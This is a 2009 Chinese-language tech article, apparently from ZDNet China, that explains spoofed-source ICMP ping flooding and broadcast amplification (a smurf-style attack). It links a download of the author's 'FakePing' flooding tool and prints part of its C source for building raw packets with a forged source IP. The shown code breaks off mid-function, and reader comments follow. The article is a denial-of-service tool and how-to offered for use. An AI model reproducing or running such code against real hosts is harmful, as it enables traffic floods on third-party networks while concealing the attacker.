伪装IP地址的洪水Ping攻击

ZDNet软件频道 时间:2009-11-04 作者: | 比特网 我要评论()
本文关键词:IP IPS入侵防御系统 Windows
最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。

  最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。

  我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈)

  正常情况下,Ping的流程是这样的:

  主机A发送ICMP 8,0报文给主机B

  主机B回送ICMp 0,0报文给主机A

  因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去

  回应主机C,结构如下:

  伪装为主机C 错误的回复

  主机A--------------------->主机B------------------>主机C

  这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。

  上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,Windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。

  说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量)

  伪装为主机C 所有广播主机都会错误的回复

  主机A--------------------->广播地址=========================>主机C

  我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。

  使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。

  源码公布如下:

  typedef struct _IPhdr //定义IP首部

  {

  unsigned char h_verlen; //4位首部长度,4位IP版本号

  unsigned char tos; //8位服务类型TOS

  unsigned short total_len; //16位总长度(字节)

  unsigned short ident; //16位标识

  unsigned short frag_and_flags; //3位标志位

  unsigned char ttl; //8位生存时间 TTL

  unsigned char proto; //8位协议 (TCP, UDP 或其他)

  unsigned short checksum; //16位IP首部校验和

  unsigned int sourceIP; //32位源IP地址

  unsigned int destIP; //32位目的IP地址

  }IP_HEADER;

  // 定义ICMP首部

  typedef struct _ihdr

  {

  BYTE i_type; //8位类型

  BYTE i_code; //8位代码

  USHORT i_cksum; //16位校验和

  USHORT i_id; //识别号(一般用进程号作为识别号)

  USHORT i_seq; //报文序列号

  ULONG timestamp; //时间戳

  }ICMP_HEADER;

  //CheckSum:计算校验和的子函数

  USHORT checksum(USHORT *buffer, int size)

  {

  unsigned long cksum=0;

  while(size >1)

  {

  cksum+=*buffer++;

  size -=sizeof(USHORT);

  }

  if(size )

  {

  cksum += *(UCHAR*)buffer;

  }

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

  }

  //FakePing主函数

  int main(int argc, char **argv)

  {

  int datasize,ErrorCode,counter,flag;

  int TimeOut=2000, SendSEQ=0, PacketSize=32;

  char SendBuf[65535]=;

  WSADATA wsaData;

  SOCKET SockRaw=(SOCKET)NULL;

  struct sockaddr_in DestAddr;

  IP_HEADER IP_header;

  ICMP_HEADER icmp_header;

  char FakeSourceIP[20],DestIP[20];

  //接受命令行参数

  if (argc<3)

  {

  printf("FakePing by Shotgun

  ");

  printf(" This program can do Ping-Flooding from a FakeIP

  ");

  printf(" Using a BroadCast IP as the FakeIP will enhance the effect

  ");

  printf("Email:

  ");

  printf(" Shotgun@Xici.Net

  ");

  printf("HomePage:

  ");

  printf(" http://It.Xici.Net

  ");

  printf(" http://www.Patching.Net

  ");

  printf("USAGE:

  FakePing.exe FakeSourceIP DestinationIP [PacketSize]

  ");

  printf("Example:

  ");

  printf(" FakePing.exe 192.168.15.23 192.168.15.255

  ");

  printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400

  ");

  exit(0);

  }

  strcpy(FakeSourceIP,argv[1]);

  strcpy(DestIP,argv[2]);

  if (argc>3) PacketSize=atoi(argv[3]);

  if (PacketSize>60000)

  {

  printf("Error! Packet size too big, must <60K

  ");

  exit(0);

  }

  printf("Now Fake %s Ping %s using Packet size=%d bytes

  ",

  FakeSourceIP, DestIP, PacketSize);

  printf(" Ctrl+C to Quit

  ");

  //初始化SOCK_RAW

  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)

  {

  fprintf(stderr,"WSAStartup failed: %d

  ",ErrorCode);

  ExitProcess(STATUS_FAILED);

  }

  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

  {

  fprintf(stderr,"WSASocket() failed: %d

  ",WSAGetLastError());

  ExitProcess(STATUS_FAILED);

  }

  flag=TRUE;

  //设置IP_HDRINCL以自己填充IP首部

  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

  if(ErrorCode==SOCKET_ERROR)

  printf("Set IP_HDRINCL Error!

  ");

  __try

  {

  //设置发送超时

  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

  if (ErrorCode==SOCKET_ERROR)

  {

  fprintf(stderr,"Failed to set send TimeOut: %d

  ",WSAGetLastError());

  __leave;

  }

  memset(&DestAddr,0,sizeof(DestAddr));

  DestAddr.sin_family=AF_INET;

  DestAddr.sin_addr.s_addr=inet_addr(DestIP);

  //填充IP首部

  IP_header.h_verlen=(4<<4 | sizeof(IP_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度

  IP_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节)

  IP_header.ident=1;

  //16位标识

  IP_header.frag_and_flags=0;

  //3位标志位

  IP_header.ttl=128;

  //8位生存时间 TTL

  IP_header.proto=IPPROTO_ICMP;

用户评论
用户名
评论内容
发表时间
ZDNet网友
2011-03-18 14:57:01
ZDNet网友
2010-05-21 00:49:14
ZDNet网友
2010-05-21 00:48:00
ZDNet网友
微软应该对自己的用户负责,如果用户完全使用xp升级微软win7,为什么要付出这样麻烦的代价?都是微软出品软件,且都是利用该软件获取信息以及处理文字、多媒体功能,微软应该尽可能方便用户!虽然有时候这样的请求也许跟不上时代技术发展的脚步,但是微软不要以此为借口,认为一切都理所应当,就不可以方便用户。还是要尽力,所谓拿人手短吃人嘴软,商业不正是讲求有商道吗!至少做人需诚实守信,尽可能帮助用户顺利、安全转换操作系统、各种必须软件功能尽可能兼容以及信息尽可能的少丢失!虽然这很大程度仅仅取决于微软等计算机专家、工程师的自我自律约束,我们普通用户恐怕很难知道微软究竟仅了多大力量为用户考虑,但是我相信真相会有被发现的一天,无论多久远。 微软从某种意义上来说,就是一个类似“掌握魔方”操作特别出神入化的公司。几乎奠定了电脑主要的“规则”,但是,我却相信不久将来我们会发现,电脑依然是非常有限的一个小系统而已!随着我们新的关键材料认知突破,电脑系统会真正被另一个革命性新电脑系统所取代,不要以为我这样的说法是无稽之谈不可实现,我却认为很有可能,只看这样的情况发生究竟是快还是慢,是早还是迟!变成历史的小玩具之后的电脑系统,微软会留下良好的历史声名吗?我们拭目以待! 网友::我爱佛祖
2010-02-03 13:52:55
- 发表评论 -
匿名
注册用户

百度大联盟认证黄金会员Copyright© 1997- CNET Networks 版权所有。 ZDNet 是CNET Networks公司注册服务商标。
中华人民共和国电信与信息服务业务经营许可证编号:京ICP证010391号 京ICP备09041801号-159
京公网安备:1101082134